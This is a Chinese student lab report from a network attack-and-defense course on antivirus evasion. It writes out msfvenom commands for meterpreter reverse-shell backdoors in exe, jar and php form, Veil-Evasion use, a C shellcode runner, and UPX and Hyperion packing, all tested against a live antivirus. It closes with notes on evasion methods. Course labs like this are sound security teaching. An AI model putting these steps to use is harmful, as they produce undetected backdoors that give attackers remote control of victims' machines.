2018-2019-2 20165302 《网络对抗技术》Exp3 免杀原理与实践

一,实验要求

(我是真的不知道为什么截图中都有学号和姓名信息了还要求改主机名。。。。。。而且实验要求里也没有明确说。做完之后听别人说的,肯定是不能重新截图了,要扣分就扣吧)

通过本部分内容的学习,认识到杀软局限性,提高在工作生活中对于恶意软件防范能力

二,实验内容

1.了解恶意软件检测机制和免杀技术的基本原理

  1. 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程

3.通过组合应用各种技术实现恶意代码免杀

4.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

三,实验步骤

任务一 正确使用免杀工具或技巧

1.使用msfvenom生成后门程序

  • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=192.168.80.132 LPORT=5302 -f exe > msf5302.exe
  • 将exe文件复制到windows中,打开电脑管家进行杀毒,msf5302.exe被识别出来

-使用virscan进行扫描

  • msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.80.132 LPORT=5302 x> 5302_java.jar 生成jar文件

  • 将jar文件复制到windows下,使用virscan进行扫描

  • msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.80.132 LPORT=5302 x> 20165302.php生成php文件

  • 将php文件复制到windows中,使用virscan进行扫描

    (6666,只能重新修改一下文件名)

wtf,不知道什么情况传不上去,行吧,就这样吧

2,使用veil-evasion生成后门程序

安装veil

  • git clone https://github.com/Veil-Framework/Veil
  • cd Veil/config/
  • ./setup.sh
  • 然后点一下,等一年,这是你没有体验过的全新版本
  • 输入veil启用
  • use evasion
  • list
  • use 7
  • set LHOST 192.168.80.132
  • set LPORT 5302
  • generate生成文件
  • 设置playload的名字

  • 生成成功

  • 然后按照文件路径找到并复制到windows中

  • 刚一复制到windows中,电脑管家就提示拦截到木马

  • 使用virscan进行扫描

利用shellcode编程生成后门程序

  • msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.132 LPORT=5302 -f c生成shellcode
  • 利用shellcode编写一段代码,将shellcode复制进去
    代码如下
unsigned char buf[] = 
"此处复制粘贴之前用msf生成的buf"

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}
  • i686-w64-mingw32-g++ 20165302.c -o 20165302.exe编译为可执行文件
  • 将exe文件复制到windows里,使用virscan进行扫描

(然而我的电脑管家并没有检测出来,可能是它太low了)

  • 使用压缩壳 upx 20165302.exe -o upxed.exe
  • 使用virscan进行扫描,电脑管家还是没有发现。。。。。
  • 使用加密壳
  • 将upxed.exe拷贝到/usr/share/windows-binaries/hyperion/中
  • wine hyperion.exe -v upxed.exe upxed_Hyperion.exe
  • 反弹连接

  • 使用virscan扫描一下

任务二:通过组合应用各种技术实现恶意代码免杀

  • 通过组合半手工制作shellcode,压缩壳,加密壳达到了免杀的目的
  • 成功截图

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功

  • 实验环境,win10主机,电脑管家版本为

  • 实验结果

实验体会

这次实验总体来说不是很难,但步骤比较繁琐,需要一定的耐心,通过这次实验我更好的了解了免杀的原理,掌握了免杀的实现方法,在这次实验中没出什么大问题,好在只是一些小问题,都自己解决了,我个人认为本次实验的难点就是在veil的安装和使用上,可以说只要做好了这点,本次实验就没什么难点了,可能是我运气比较好,在安装veil的过程中没有出现像其他同学那样各种各样的问题,一次成功!!!好了,总结一下本次实验的收获,这次实验我学会了使用压缩壳和加密壳,学会了半自动注入shellcode的方法,了解了免杀的几种原理,学会了version和virus totals的使用,收获还是蛮多的,虽然过程很累,但是能自己独立完成实验还是很开心的 - -

实验中遇到的问题

  • 文件名为数字时非法,可以将文件名改为字母或字母和数字的组合

  • 安装veil时报错,解决方法删了重新安装,虽然有点low,但能做出来就行23333

  • 在查看压缩壳是否可以反弹连接时windows不能运行exe文件,解决方法是将exe文件设为被信任的文件就可以了

基础知识问答

1.杀软是如何检测出恶意代码的

  • 基于特征码的检测,简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
  • 启发式恶意软件检测,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据,优点:可以检测0-day恶意软件,具有一定通用性
  • 基于行为的恶意软件检测,最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为检测相当于是启发式的一种,或者是加入了行为监控的启发式

2.免杀是做什么?

  • 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术

3.免杀的基本方法有哪些?

  • 改变特征码
    • 如果你手里只有EXE
      • 加壳:压缩壳 加密壳
    • 有shellcode(像Meterpreter)
      • 用encode进行编码
      • 基于payload重新编译生成可执行文件
  • 改变行为
    • 通讯方式
      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码
  • 非常规方法
    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
    • 使用社工类攻击,诱骗目标关闭AV软件
    • 纯手工打造一个恶意软件
原文地址:https://www.cnblogs.com/dky20165302/p/10625558.html